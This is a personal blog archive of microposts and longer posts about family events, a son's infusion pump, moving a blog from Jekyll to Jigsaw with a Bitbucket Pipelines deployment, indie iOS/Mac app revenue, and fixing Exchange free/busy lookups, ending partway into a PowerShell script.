•   Got the keyboard replaced on my 2016 MacBook Pro, courtesy of the Keyboard Service Program. Typing still doesn't feel quite as good as the 2013-era MacBook Pros, but it's SO much better.

  •   Every now and then, I get a taste of what it would be like to be a single parent (or even a stay-at-home parent, to some degree). For the last 30 hours, I have been in that mode (my wife needed to go out of town for a funeral), and people who do this all the time are superheroes. I respect you.

  •   Election Maps Regardless of how the election turns out, I always LOVE to see the interactive map stuff.

  •   Halloween with friends

  •   The 2015 Nissan Leaf has been and continues to be the best value I've ever had in a car. After about 2.25 years, and the battery finally lost 1 of its 12 bars of capacity, just shy of 50k miles.

  •   It’s embarrassing how long it took me to get this multi-moon, but it feels good to be done. The difficulty of Super Mario Odyssey goes way up after you "beat" it because of the lack of hearts and checkpoints.

  • Continuous Deployment of Jigsaw Blog to Digital Ocean Droplet Using Bitbucket Pipelines

  • Well, after my last post about updating my Jekyll blog, I got on a roll and went ahead and ported my blog over to Jigsaw. Like I mentioned in that post, I’ve enjoyed Jekyll, and I think it is a great blogging engine. But Jigsaw (and Laravel) has been a breath of fresh air, and something new to play with. Through this process, I tweaked the design again, but more importantly, I pieced together a process of deploying my Jigsaw blog to Digital Ocean automatically via Bitbucket Pipelines, and I wanted to share this process for anyone else who is interested.

    But first, some background:

    I’m listening to some different podcasts these days, mostly shifting from the Apple ecosystem to the web development world. In particular, I think these podcasts are pretty good:

    • Syntax
    • The Laravel Podcast
    • Laravel News Podcast
    • Full Stack Radio

    Several of these podcasts have been sponsored by Netlify, and the hosts talk about how simple it is to deploy a static blog with Netlify. Then I watched Michael Dyrynda’s screencast about deploying a Jigsaw blog with Netlify. I tried it out, and sure enough, it was mind-blowingly simple. But, I already have a Digital Ocean droplet for other reasons, so I wanted to find out how to deploy to this droplet in the same way Netlify can deploy to its CDN.

    Back to Jekyll... I use Bitbucket for source control, and for a while I've heard about Bitbucket Pipelines at a pretty high level. It seemed like the right fit to automate deployments. After a bit of searching around, this post by Ayush Sharma gave me to tools I needed to deploy my Jekyll blog using Pipelines. It took some tinkering around, but I finally got Pipelines to build my Jekyll blog and push it to Digital Ocean.

    Back to Jigsaw, again... This whole time, I had Jigsaw building my blog locally on my Mac, so now I just needed to commit it to Bitbucket and have Pipelines deploy it the same way it deploys my Jekyll blog. I'll spare you the details, but the end product is quite simple. Once you get your deployment SSH keys in place in Bitbucket and on your remote host, and you define your environment variable for your remote host, here is the bitbucket-pipelines.yml file that will run when you push to master:

    image: php:7.2
          - step:
                - apt-get update && apt-get install -y unzip
                - apt-get install -y rsync openssh-client
                - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
                - composer install
                - ./vendor/bin/jigsaw build production
                - rsync -a build_production/ root@$PRODUCTION_HOST:/var/www/path_to_web_root/ --exclude=bitbucket-pipelines.yml --chown=www-data:www-data

    This Pipeline has been working flawlessly for a couple weeks now. If I've left out any crucial details, please get in touch. Also, if anyone knows of any tweaks to this process to make it even better, I'd love that feedback. There may be a Docker image that already exists that includes PHP 7.2 along with Composer and rsync. If not, maybe that will be my next step to improve this process.

  •   Racism has no place in this world. Geye Hamby has resigned from Buford City Schools. link to story

  •   If you log into App Store Connect and it thinks you are a brand new user (i.e. not showing your apps), then hang tight. I just got a phone call from Apple saying it's a known issue, and they are working hard towards a resolution.

  • New Blog Design

  • I've been tweaking my blog a lot lately, due to several factors. I've enjoyed using Jekyll for the past year (and Octopress, which is based on Jekyll, for years before that). However, I've recently discovered the incredibly satisfying Laravel framework, and the fine folks at Tighten have created a static site generator for Laravel called Jigsaw.

    A couple weeks ago I decided to give Jigsaw a shot. I didn't have immediate success with it, so then I experimented with Ghost for a little bit. Ghost had a great setup experience, and it has a fantastic management interface, but I'm not particularly experienced in Node. So I revisited my existing Jekyll site and decided to put a new skin on it.



    This update takes me from Jekyll 3.4.3 to 3.8.3, but most importantly it got me tinkering with the site a bit more and just wrapping my head around how it works as a static site generator...

    Which leads me to the next step. I pulled Jigsaw back out this week and have almost got a working version of my site built with Jigsaw. In reality, I've probably done about 90% of the work, and you know what they say about that last 10%.

  •   Just set up Bitbucket Pipelines to automatically build my Jekyll blog whenever I push to master, then publish into my web root. I realize this is all just normal DevOps playground stuff, but technology really is awesome sometimes.

  •   Goodbye, old friend. You’ve served me so well over the last 8-9 years. Your are so much more of a computer than your Touchbar replacement.

  •   Snowpocalypse 2017, anyone?

  •   After 6 days with the iPhone X, really quick thoughts: Size 👍🏻👍🏻 Screen 🎉 Heavy (in a good way) Needs better access to Control Center

  • Oliver Jeffers Book Signing

  • It's no secret that I love children's books. I can't recall a time when I've been to an author book signing event, and tonight we had the unique opportunity to see Oliver Jeffers. Over time we have checked out many of his books from the library, and one of his titles, A Child of Books, made it onto my books website (linked above) as a favorite.

    We decided that this would be a fun experience for Stella, and really the whole family. So fun, in fact, we offered it as an option for Stella to miss ballet practice for it. We are wanting to do more memorable things we we'll remember as a family, and this fit the bill pretty well. So we made a point to be super early in the carpool line (we were 4th), and race down to Decatur.

    Here are a couple of pictures to show you the atmosphere of the event. It was held at The Little Shop of Stories. This seriously has to be one of the best children's bookstores in Georgia, if not the country. Go check them out. The store is simply amazing, despite having a website that could use some love (psst... I know a guy who makes websites).

    After carrying on with the crowd for a little bit, Oliver read his brand new book, called Here We Are, and then everyone went downstairs while they staged the room for him to sign books. By the time we got to him, we had to choose between him doodling in the book and posing for a picture with him. OF COURSE we chose the doodle option. And fortunately, I had my photographer (aka, my awesome wife) with me, and she took some candids during the signing process.

    In this last one, I had just asked him which book was his favorite. And I think Stella was in a state of both shock that he had drawn in her book, and a state of admirating what he had drawn in her book.

    Afterwards, we were hanging out downstairs, looking at all the awesome books, and Nikole snapped a shot of Stella's books, and another of Stella posing with each of the books she owns.

    And of course, Owen wasn't going to stand for his sister getting a book and him not walking out with a truck book! He has also gotten really great at making fun faces lately, and this is one of them.

    This event was a lot of fun. Now I'm going to be seeking out author signing events, especially as our library of kids' books grows, and I keep discovering more and more really great books.

  •   Also, this morning we had a great visit @ChildrensAL. They are ready for Christmas, Sesame Street style!

  •   Always a good time at @CHAtl. #cocoaheads

  •   Hello Chicago. I love this city. Hotel Chicago might look a little shady on the outside, but it's super-nice inside!

  •   Now that iTunes doesn't have the App Store built-in, Apple needs to release a small, dedicated Mac App that lets users interact with (browse, purchase, etc) the App Store.

  •   Can't believe we still have power AND internet, but we're taking advantage of it! #HurricaneIrma

  •   Today Bootstrap 4 finally hit Beta status. I've been using the alpha every day at work and in my side business for 6+ months, and it's solid. https://blog.getbootstrap.com

  •   One year ago today, this bundle of joy joined our family. Time flies!

  • Panic Shouldn't Do Upgrade Pricing

  • Earlier today, Dan Counsell wrote:

    The main reason Panic went with no upgrade pricing is because the Mac App Store still has no way of doing paid upgrades. If the Mac App Store didn’t exist then I’m 100% sure they would have offered upgrades. I believe Panic plan to launch Transmit 5 on the MAS at a later date, so not having to deal with upgrades gets rid of this one major headache.

    It’s the rigidness of the Mac App Store that is still forcing Mac Indies to make these odd decisions when launching products. I wish Apple would introduce upgrade pricing on the MAS so developers can choose the revenue model that works for them and their customers rather than being dictated to.

    I really doubt Panic will ever put Transmit into the Mac App Store. I think there's just too much going on with regard to sandboxing for it to work out. Remember when Panic pulled Coda 2.5 from the MAS? And I'm not sure they need upgrade pricing. They nicely explain in the FAQ for Transmit 5 that it's been 7 years since an update. If someone is going to get fussy over a lack of upgrade pricing, then maybe Panic doesn't even want those customers. In the end, if someone wants the best file transfer app on the Mac that money can buy, they'll end up buying Transmit anyway.

    Dan is right in some sense... Upgrade pricing on the Mac App Store would be pretty great to have. If it were available, people would use it and benefit from it. But I'm not sure it's quite as necessary as he makes it out to be. No disrespect to Dan here, though. His company puts out some really amazing and beautiful Mac and iOS software, and I wish the best for him and his company.

  • Owen's Super PID

  • Our son Owen has a blood disorder called thalassemia. One thing this means is that he must be on a chelator drug to help his body get rid of iron. He is on Desferal, which is administered via a subcutaneous injection pump. My wife is active on several thalassemia Facebook groups, and there is much discussion regarding Desferal pumps. We quickly came to understand that if our home health services provider did not provide the Intrapump Crono Super PID pump, we needed to do whatever it took to get that pump.

    In our initial conversations with CHOA, we immediately requested the Crono pump. CHOA was quick to explain that they didn't deal with pumps, and the home health service provider dictated which pump was available. Coram Healthcare was the home health service they were going to pair us with. When I talked to our Coram nurse manager, she said she had never even heard of the Crono pump. So I called Intrapump on March 1st to see what they would say.

    The person I talked to at Intrapump was Robin McDowell, and she was incredibly nice and helpful. She said they definitely sold their pump to Coram Healthcare, and in fact she had worked with someone at Coram and had recently filled an order for the Crono Super PID for a Coram patient, but this patient had been in a different region.

    On March 6th, I talked to a nurse at CHOA and she said Coram was getting more info about the Crono pump. In the meantime, Owen's doctor wanted to start him on Desferal, so we had to start using the Graseby MS16A pump that Coram offered. As I made my case for the Crono pump, the nurse encouraged me to keep pushing the issue in whatever way I can. Let me show you the comparison of the two pumps. I like to describe them in terms of one looks kinda like an original 1980s Nintendo controller and the other looks like it was designed in Sweden last year.

    I asked Robin to get in touch with Coram and try to push the issue down specifically to the Atlanta branch. She was more than happy to do this, and she also said they had the pump in stock and could ship it immediately upon receiving an order from Coram.

    The Coram nurse manager called and said they were scheduling a nurse to visit our house on March 9 to train us on the Graseby. She also said they had a Crono pump, but "all nurses had to be trained on it before it could be used". She had no idea when this training would happen and couldn't even venture a guess as to when it might happen. I felt like she was just telling me this to silence my efforts.

    On March 14th, Robin emailed to say she had heard from her contact at Coram that "they have the Crono pump and patient will be starting any day". And later that day, she contacted me again and said that Coram had the prescription and were scheduling a training call with Intrapump the following day. Things were moving fast!

    On March 22nd, the nurse came back to our house, Crono Super PID in hand, to "train" us on how to use it. She clearly had never touched one of these things before, but it had been set up for our needs and was ridiculously easy to use, especially compared to the Graseby.

    Final Thoughts

    I'm no expert on infusion pumps, but I think I agree with what we were told on the Facebook groups. If you're using one of these pumps and it's not the Crono Super PID, you should make every effort to get one. It might take a lot of work and frustration, but maybe our story can help you navigate the process and give you an example to follow, especially if you are a CHOA patient whose home health provider is Coram.

    The real hero of this story is Robin McDowell at Intrapump. She was the key to success for our family, so definitely get in touch with Intrapump if you need more info.

  •   I’ve been playing around with automating the process of posting microposts (and eventually full blog posts) to my blog. This post is brought to you by my iPad, using Editorial and Working Copy. The jekyll build will be manual, but at least the git commit is done with a workflow.

  •   Transfusion #13. Thank you CHOA Aflac Center!

  •   Always be marketing:

  •   I've been on this 🏝 since Sunday, and was successfully able to avoid the 🌊, until today.

  •   Testing microblog propagation to micro.blog and then to Twitter.

  •   I also used the previous micro post as an excuse to get microposts working on my site. Next up I probably should make two feeds, one for long posts, one for micro posts.

  •   Through the magic of Facetime, I just watched my daughter pretty much learn how to ride a bike from across a state line. Thanks Apple.

  • Side Project - Kids Books

  • Having two kids, ages 6 and 2, I've made regular visits to the library in the past couple of years. I like to track certain things in my life. Not to a crazy extent, but I guess I just like data. As we've read through piles of children's books, I've thought it would be neat to track which books we read and when, and even possible "rank" them in a way. Well, I've finally turned this into a little side project.

    I've made a page on my website to track all these books. It's a work in progress for sure, but I've got the core functionality working. You can see it here:


    I haven't been tracking exact dates up to a few days ago, but I was able to piece most of it together based on old emails from the library. I receive emails when books are held for me at my local branch, and when books are due. For most of the books we check out these days, I request them from the library system's website and pick them up at the branch that's 2 miles from my house. This saves tons of time, and doesn't risk us picking out totally random books off the shelf that have a good chance of being terrible.

    A couple of technical details about this project:

    • I'm using the Amazon AWS Product Advertising API to programmatically pull titles, authors, and book covers (and, yes, affiliate links) for all the books. This way I just keep a master list of ISBNs and some of my own metadata, and I can generate the resulting data with a script.
    • I store the data in a SQLite database, because SQLite is so easy to use for something this simple.

    A major inspiration for this project is the Tinybop Loves site. They have done an amazing job of documenting a variety of media that is inspiring to young minds. I don't imagine my little project every becoming anything like that, but who knows what lies ahead?!

    Also, shout out to the Gwinnett County Public Library. I love my country's library system. GCPL

  • Blog Moved to Jekyll

  • I've spent some free time over this holiday weekend moving my blog over to Jekyll. I've wanted to move my blog some something else for a while, since Octopress is practically out of active development at this point. Jekyll made some sense because Octopress is just a specialized Jekyll. I may lose some of the nice opinionated-ness of Octopress, but Jekyll has come a long way and it is used by tons of people.

    Why not Wordpress, you may ask? Well, I am a strong believer in Wordpress. A huge fan, in fact. But I'm a programmer, so I want to keep my web chops up, and having my blog on Jekyll is just one way to do that. Also, there's part of me that just doesn't want a full-blown database-backed CMS running my blog. I know it works for millions of people, but I just didn't feel like dealing with keeping it all patched and updated all the time.

    Also, this gets me prepped for hopefully using Manton's Micro.blog service, once he opens it up to the public. I don't know the technical details involved with it yet, but I was pretty sure Octopress wasn't going to be the best thing to stay on. Regretfully, I did not back the Micro.blog Kickstarter. I wish I had, but for whatever reason I just didn't pull the trigger. I'm looking forward to seeing where that project goes, because I like the idea of the open web and owning my own content.

  • GTRI Day at Six Flags

  • Yesterday my employer had its Family Picnic Day at Six Flags. This is a great way for all the families to get together and have fun without having to spend much money ourselves. We enjoy spending time with some of my coworkers and their kids, and it's just fun to ride a roller coaster every now and then.

    Here are a few pictures from the 2016 Six Flags picnic. This was our second year taking Stella. Last year we rode a kiddie roller coaster with her and she was happy about it until it started moving, then she wanted off. This year, Nikole and Stella rode the Dahlonega Mine Train, and during their ride, there were some technical difficulties and they stopped on the last chain-incline. Stella wasn't so bothered by that, but she didn't particularly care for the jerkiness of it.

  • Focused Work

  • There has been some discussion lately on some podcasts lately about how we can be the most productive in our work. I've recently made some intentional changes in these areas, and hearing these conversations in other places has made me think even more about it. Three things stuck out to me:

    • Work, don't play, in your office

    Having a dedicated space for work is important. If your office is also the room where you read books, play games, or color with your daughter, then you may find yourself wanting to do those other things instead of the actual work that needs to get done. Those other things are important, but it's important to do them at appropriate times and in the appropriate place.

    • Keep your office free of distractions

    This is similar to the first point about having a dedicated space for working, but it's more about what external things could make their way into your environment. In the latest episode of Cortex, CGP Grey talked about how when he works at home, even the slightest distractions (like his wife coming home from work, or the delivery guy dropping off a package) can totally derail your productivity. These things are far from being bad things (in fact many are good), but they are terrible for productivity.

    • Extreme productivity can only happen in finite bursts

    Grey was talking about this "productivity burst" after having taken a trip to Amsterdam to shack up and get work done in a hotel for a few days. Now, this is a bit extreme to me, but the logic makes sense. He had an extended amount of time where his schedule was extremely rigid/stable, and this allowed him to focus. This effectively put him into productivity overdrive. This isn't something you can do for very long, but in short spurts it can be very rewarding.

    For me, I have recently realized and experienced some of this in my own life. To start with, I bought a 5K iMac (which, by the way, has ruined me for all of my previous computers) that can be dedicated to my Objective Jellyfish app development. I had previously been doing work on my laptop, where I do everything else, so I knew this would be a good change.

    Having a dedicated development machine puts a wall up between my "just messing around" computing and my "I'm getting work done" computing. That helps isolate things, but there's one other benefit that I hadn't thought about. It means I can leave my developement-related apps and all my browser tabs open, and when I leave and come back, things are exactly where I left them. This makes it so much easier to get my brain back to where it needs to be.

    Another system my wife and I have implemented is that I have a set time when I work on my business1, and it's a time of (mostly) no distractions. Right now it's just a couple hours, once a week, after my daughter is asleep. Combine this with the dedicated machine, and I can sit down and get right to work for a decent amount of time.

    I've already seen some big benefits. In the last month, I've release two updates to Easy Grade, and another one has been submitted to Apple for approval. Compare that to seven updates in the last three years!

    So far I'm very pleased with these changes. It will be interesting to revisit this post in the future, and perhaps see what other kinds of systematic changes I can make.

    1. <p>At the <a href="http://releasenotes.tv">Release Notes Conference</a>, Rachel Andrew gave a talk in which she made the point that we should treat our projects as first class citizens. My friend Michael wrote up a nice post about that talk <a href="http://ledford.net/follow-through/">here</a>.&#160;<a href="#fnref1:1" rev="footnote" class="footnote-backref">&#8617;</a></p>

  • Easy Grade for Mac Released

  • Easy Grade on iOS has been doing great for the past couple of years, and now I'm happy to announce that I've just released the Mac version of Easy Grade. Why the Mac, you say? There are a number of reasons to not bother with the Mac version (mainly that most teachers have a school-issued Windows laptop), but there are other reasons for doing it.

    As of this year, Apple merged the developer programs into one, so I don't have to pay the extra $99/yr to have a Mac developer account. Also I know iOS programming, and the Mac frameworks are quite familiar to me because of that. Despite having written the iOS version in Objective-C, I wanted a good little project to learn Swift, and Easy Grade was perfect.

    As you can see from the screenshots here and in the App Store, I practically ported my design from iOS over to the Mac, with slight modifications where appropriate. I also took some design cues from Calculator.app with the vibrancy (besides, Easy Grade is a calculator, right?).

    So if you are a teacher (with a Mac), grab it on the App Store now! If you know a teacher with a Mac, this would be a great gift idea. For more info, click the Mac App Store badge below or visit the Easy Grade for Mac.

  • Sometimes Freemium Works

  • Looking at the variety of ways to make money in the App Store is always a fascinating discussing to me. In Freemium is hard, Marco reflects on Shuveb Hussain's experiment with taking a paid app freemium:

    Freemium is hard. Its effectiveness depends on where you can put that purchase barrier in your app. Many app types simply don’t have a good place for it.

    I've thought about this a lot with my app. I've got one app that has been through the same two revenue models that Shuveb went through. In my situation, though, it went the opposite way.

    I released Easy Grade as a paid app in July 2012. It was selling a handful of copies a per week. I think for those first 6 months it made a couple hundred bucks. I don't know what actually made me think to do this, but I decided to take a chance on a freemium model.

    My app had (and still has) a feature that distinguishes it from the other EZ-Grader apps in the store - it can calculate grades based on half-points partial credit (back-story here). I decided to put an ad at the bottom, and the In-App Purchase would remove ads and enable the half-points feature. I released this in January 2013.

    This new freemium app did extremely well. To give you a visual, here's the comparison:

    Being free boosted downloads by an order of magnitude, and by the end of 2013, I was even seeing noticeably more In-App Purchases than paid app downloads. The scales had tipped to the point that I eventually decided to pull the paid version in January 2014.

    There was one major victory in this switch that I was not expecting. My app is used by teachers to calculate grades. They set the app the way they need it and prop it next to them while they grade papers. The average Easy Grade session time is 12 minutes. This is huge for an app that uses advertisements. You can debate the ethics of using ads in apps (_David had a great discussion of this on his podcast). At least for now, I think ads are an acceptable revenue stream.

    Marco is absolutely right, though. Freemium is hard, and it doesn't work in every situation. I think his execution of the freemium model in Overcast is perfect. It works for my app. But it certainly doesn't make sense for everyone.

    Side-note: About a year ago, after seeing Jury's Cingleton talk, I thought it'd be fun to double the price of the In-App Purchase and see what happened. To my delight, I have seen roughly the same number of purchases, thus my IAP revenue has doubled.

  • Problems With the Scribd iPhone App as an Audiobook Player

  • I have a moderate commute (moderate for Atlanta standards), so I listen to a lot of podcasts and audiobooks. I found out recently that Scribd offers a fairly large selection of audiobooks for a reasonable price, so I signed up for a trial to give it a shot. The user experience with this app has been so bad that I felt compelled to write up a list of its shortcomings here. Hopefully they can continue to improve this app as time goes on, but for now these reasons are keeping me from continuing my trial into a paid membership.

    • Don't leave your wifi's range before the audiobook is finished downloading. I did this and when I paused, it wouldn't restart because the file wasn't locally available
    • The touch target for the audio scrubber must be tiny. I haven't run this thing through a jailbroken phone and a view debugger to see the exact pixels (I think that's possible), but it is almost impossible to get it the first five tries.
    • Several times the app has been playing along and suddenly skipped to the next chapter. Then you have to go back to the previous chapter and use the impossible scrubber to find where you were.
    • The app cannot reliably remember where you are in an audiobook. Many times I have hit play at the start of my morning commute and found mself listening to the last chapter I listened to.
    • A couple of times I have reached the end of a chapter and the audiobook paused. Sometimes it will start back on its merry way once I launch the app, and sometimes I have to hit play to get it to continue playing.

    I know writing apps is not easy, but to me it looks like the problems with this app could be fixed with a couple months of solid iOS development time. Scribd has a good foundation built, and a rock solid iOS experience could really provide a good option in the audiobook subscription marketplace.

    Side-note: Insurgent is kind of boring.

    UPDATE (Aug 30, 2015) - I submitted this post to Scribd in a support ticket, and they admitted problems and told me they were working on the problems. I received another response when version 3.11 was released, and they very generously gave me some extra time on my account for free. I listened to another 1.5 books these last few weeks, and I will say that the experience is much better! However, there are still problems:

    • The app cannot remember what playback speed you are using between sessions
    • On several occasions, I would reach the end of a chapter and playback would just stop. This is infuriating when you're driving down the interstate.

  • Making Free/Busy Work in a Hybrid Exchange Environment

  • Over the last month or so at my day job, we ran into an unnecessarily tricky scenario trying to get free/busy working between our on-premises Exchange environment and a federated hybrid environment. My main purpose in writing up this experience is because I hope people can find it via a web search and not have to commit hours upon hours of time with Microsoft solving it.

    The problem was that when a user in the cloud went to invite an on-prem user to a meeting, the Outlook client (desktop client or OWA) would show an error: "The recipient's server could not be determined". Not entirely helpful, as that's extremely generic.

    We looked at the IIS logs on the Exchange front-ends to see if that revealed any clues. Whenever we attempted to view an on-prem user's free/busy info from the cloud, the log would show something like this:

    2015-04-09 18:33:02 POST /autodiscover/autodiscover.svc/WSSecurity &CorrelationID=<empty>;&cafeReqId=be5979f1-ed29-04b9-a131-254aeff795a4; 443 - ASAutoDiscover/CrossForest/EmailDomain//15.01.0130.019 - 401 0 0 140

    Notice the HTTP 401 error at the end of that line. It seemed like the cloud server was not authorized to view information on the on-prem server. At this point, we opened a ticket with Microsoft. (side-note: this was frustrating... we had an engineer working with us up to this point. Why did he not have the tools to troubleshoot, or at the very least do the research and get back to us?)

    The new support engineer first delegated us to a TMG engineer, who then proceeded to tell us it wasn't a TMG problem (the request was making it all the way to our front-end - TMG was not getting in the way). We got another on-prem Exchange support engineer, and after doing the typical Microsoft support case song and dance, he finally sent us this link:
    Free/busy lookups stop working in a cross-premises environment or in an Exchange hybrid deployment

    The problem was revealed by the Test-FederationTrust cmdlet, which produced this output similar to this (I've replaced the irrelevant RunspaceID GUIDs):

    > Test-FederationTrust
    RunspaceId : <guid>
    Id         : FederationTrustConfiguration
    Type       : Success
    Message    : FederationTrust object in ActiveDirectory is valid.
    RunspaceId : <guid>
    Id         : FederationMetadata
    Type       : Error
    Message    : The federation trust doesn't contain the same certificates published by the security token service in its federation metadata.
    RunspaceId : <guid>
    Id         : StsCertificate
    Type       : Success
    Message    : Valid certificate referenced by property TokenIssuerCertificate in the FederationTrust object.
    RunspaceId : <guid>
    Id         : StsPreviousCertificate
    Type       : Success
    Message    : Valid certificate referenced by property TokenIssuerPrevCertificate in the FederationTrust object.
    RunspaceId : <guid>
    Id         : OrganizationCertificate
    Type       : Success
    Message    : Valid certificate referenced by property OrgPrivCertificate in the FederationTrust object.
    RunspaceId : <guid>
    Id         : TokenRequest
    Type       : Success
    Message    : Request for delegation token succeeded.
    RunspaceId : <guid>
    Id         : TokenValidation
    Type       : Error
    Message    : Failed to validate delegation token.

    The key problem was the TokenValidation. That url referenced above suggested that the metadata information in our environment had become stale, and it proposed that we run

    > Get-FederationTrust | Set-FederationTrust –RefreshMetadata

    in our Exchange powershell. Magically, after we ran this, the cloud users could then retrieve our free/busy information.

    As I mentioned above, I hope this write-up helps someone down the road. We searched high and low for a solution to this problem, and for whatever reason we never came across the article that our support engineer linked us to. Maybe it's because we searched for this related to our HTTP 401 error on the Exchange front ends. That article doesn't mention anything like that - just that our metadata was stale.

    What makes this situation more ridiculous is that Microsoft suggests in the article to set up a Scheduled Task to run this cmdlet regularly. If they know this is a problem, then why can't that run as part of some process under the hood of Exchange? I digress...

    Finally, I should also add that this is probably one of a hundred different problems you could encounter while making free/busy work between cloud and on-prem environments. Even still, I hope this helps someone.

  • Minimizing Twitter

  • Life has changed a lot for me recently, this being the best example of that. I've thought a lot about what is actually important to me, and how I spend my time. Even though I wouldn't consider myself a heavy user of Twitter, for a while I've realized that I should probably cut back on the time I spend consuming this stream of consciousness from the internet.

    Going to China helped, because internet was so spotty there, and because for those first two weeks we had our daughter, I obviously had significantly more important things to do than stick my face into a screen. Then we got home, where the internet was actually usable, and I realized I didn't want to model that behavior to my child. In addition to that, though, I was finding my mind continuously distracted by my Twitter stream.

    So I "quit". I put that in quotes because I do still check it, but in a vastly different way now. I deleted my Twitter clients for a few days and didn't check it at all. This was extremely refreshing.

    In an effort to stay connected, though, I created a Twitter list of the people whose tweets I definitely want to see. Right now it's only 22 people who are either close friends in real life, or people whose tweets are infrequent and have a high signal-to-noise ratio.

    I'm not knocking the high volume twitterers - these users post a lot of good content. I just don't need that distracting me all day every day. When I really do have time to just sit back and relax, I'll intentionally go look at those users' streams and skim through.

    All in all, I'm extremely happy with this decision, and I don't see myself turning back. My mind stays much more focused on my tasks, and I'm able to spend more quality time with my wife and daughter.

    A final sidenote: It was satisfyingly coincidental hearing Marco discuss his withdrawal from Twitter on last week's Accidental Tech Podcast:

    Twitter is a tricky balance between whether it makes your life better or worse overall, and I've been questioning what the value of it is for me recently, and whether it is a net gain or a net loss."

    If you listen to their full discussion, he explains it further, and his reasons for pulling back are more related to the constant negativity on the internet, which is understandable. I'm not enough of a Twitter-celebrity to see a lot of that, nor do I seek it out, of course. We've seen enough damage done to people recently on the internet, and we could all benefit from rediscovering our priorities away from social networks, whether it's to avoid the negativity or just to spend more time with those close to us.

  • Books I Read in 2014

  • I didn't make a blog post about the books I read in 2013, probably because I only read 8 books (see my Goodreads profile.) 2013 was also a hectic year - I should have blogged about that, but in short, I finished grad school, bought a house, sold a house, went on a mission trip to Guatemala, and started a company. I picked up the reading pace again in 2014, so I thought I'd continue the tradition of posting my books.

    Guns, Germs, and Steel: The Fates of Human Societies by Jared Diamond
    This was on Bill Gates' list of recommended books. I personally thought it was really dull, but it was very well-researched.

    The Connected Child: Bring Hope and Healing to Your Adoptive Family by Karyn B. Purvis
    We are adopting, and this was required reading for the educational part of the adoption process. I think every parent should read this.

    The Lamb and the Fuhrer: Jesus Talks with Hitler by Ravi Zacharias

    Dandelion Wine by Ray Bradbury
    I remember Fahrenheit 451 being great, so I thought I'd get a different taste of Ray Bradbury. I didn't care much for this book, but I do think I'll re-read Fahrenheit next year.

    One Way Love: Inexhaustible Grace for an Exhausted World by Tullian Tchividjian

    Last Night in Twisted River by John Irving
    My favorite book (in my current recollection) is A Prayer for Owen Meany, by John Irving. Irving is a fantastic writer, but Twisted River turned into a meta-story about Irving himself, which got old (I mean, c'mon, a writer writing about a man becoming a writer?)

    The Grace Effect: How the Power of One Life Can Reverse the Corruption of Unbelief by Larry Alex Taunton
    Another great adoption-related book

    Wish You Happy Forever: What China's Orphans Taught Me About Moving Mountains by Jenny Bowen
    An amazing story of how a now very successful orphanage program in China got its start

    The Reason for God: Belief in an Age of Skepticism by Timothy Keller

    A Separate Peace by John Knowles
    Not nearly as good as I remembered it from high school

    The Power of Habit: Why We Do What We Do in Life and Business by Charles Duhigg

    Divergent by Veronica Roth
    It's like Hunger Games meets Twilight, and not in a good way. I'll probably continue the series, though.

    Forgotten God: Reversing Our Tragic Neglect of the Holy Spirit by Francis Chan

    Bonhoeffer: Pastor, Martyr, Prophet, Spy by Eric Metaxas
    What a story of a great man's life.

    Which books did you read in the last year?

    Again, like I mentioned in my 2012 post, I noticed that books that have been published in more recent years tend to have a Title:subtitle format. I guess it makes sense, but when you list out books like this, it makes it noticeable.

    Full disclosure: The links above are Amazon Affiliate links, which means I get a small percentage of money from sales made by clicking them. If you don’t want to support that, go directly to Amazon/Google and search for the books.

  • Hearts Scoreboard - The best Hearts score keeping app for your iPhone/iPad

  • In June, I went to a condo with some guys for a weekend as a sort of preliminary bachelor party getaway. These particular friends love the game of Hearts. In college, when I was playing Spades multiple times a week, they were probably playing Hearts twice as much. I wasn't surprised when I got sucked into a game of Hearts during this weekend at the beach.

    As we were getting set up, we of course needed to get a scoresheet, which made me think "There's gotta be an app for that" sound familiar?. And let me tell you... I found one. But it was so bad I couldn't put myself through that misery. There was a pretty good generic scorekeeper app, but considering the way Hearts points typically add up, I thought a Hearts-specific scoring app would be nice. A thus was born the idea of my new app:

    Hearts Scoreboard

    I've used my Hearts-playing friends as a sounding board, and I think it covers all of the elements you need while playing the game:

    • Keeps track of which direction you pass the cards in each turn
    • Keeps track of the dealer
    • Has multiple buttons for assigning points, suited to Hearts scoring
    • New style and Old style Shoot the Moon scoring
    • Rearrange/rename players

    If you're a Hearts player and want a better way to keep score, I think you'll love this app. Download it by hitting the App Store Badge below, or search in the App Store.

    As a side-note, my wife and I are in the process of adopting a little girl from China. When you use this app, you are contributing to that process. Read more about that here

  • OS X Caching Server Does Not Support the iOS 8 Update

  • With the release of iOS 8, yesterday was an eventful day in the iOS universe. I thought it'd be an interesting experiement at work to set up a Caching Server (part of OS X Server), particularly to see if it would work for the iOS 8 update. At some point yesterday, Apple provided the quick answer to that question in a support doc.

    The Caching service of OS X Server doesn't cache the iOS 8 update. The service continues to cache iOS content including apps, books, iTunes U course materials, and OS X updates.

    I only found that doc this morning, but yesterday proved as much to me. Here are the stats from our Caching Server a couple of hours after release:

    Before Apple released the update, we already had a couple of gigs of cached data. Within the hours that followed the iOS release, I know we downloaded the update at least 4-5 times on multiple devices, The cache numbers seemed to stay stagnant, thus indicating the Caching Server was playing no role in the update. My company probably has more than 1000 iPhones/iPads. I suspect many would have updated to iOS 8 yesterday, especially considering our internet speed at Tech is easily more than 10x the average employee's home speed.

    This isn't all bad, though. Today, we've got 14 GB of data cached. Plus, the server has sent ~22 GB while it has only received ~17 GB. I take that to mean there has been a decent amount of users who have pulled app updates from the server. And during a time when Apple's servers are being hammered, this has to help a little bit at least.

    Screenshots from 2014-09-18:

    Now we can just hope that before the next wave of iOS updates come, Apple will update the Caching Server to support OS updates. It would be a win-win for everyone.

    Final Note: Fraser Hess has written a lot of great articles about OS X's Caching Server. He has a post about not supporting iOS updates here, but if you're interested you should check out his other posts too. Also check out Nik Fletcher's blog post about Caching Server.

  • Programmatically Reading and Converting Database Sizes With Exchange 2013 Powershell

  • For quite a while I've had automated PowerShell scripts that monitor our Exchange database sizes. I set this up so we could see weekly/monthly/annual growth patterns for different departments in the company. We weren't really concerned about running out of space on the backend servers, but it would be good to have a rouch idea of the trajectory. And more data is always better, right?

    To start, here is how you get the database size in Exchange PowerShell:

    > Get-MailboxDatabase -Status <databaseName> | select DatabaseSize
    8.063 MB (8,454,144 bytes)

    That size format is a bit odd, but in Exchange 2010, PowerShell would let me convert that to gigabytes, using the ToGB() function on the DatabaseSize property. So, I set up a script to iterate through all of our databases, convert each DatabaseSize to GB, and then enter that data into a database.

    ForEach ($db in $arr) {
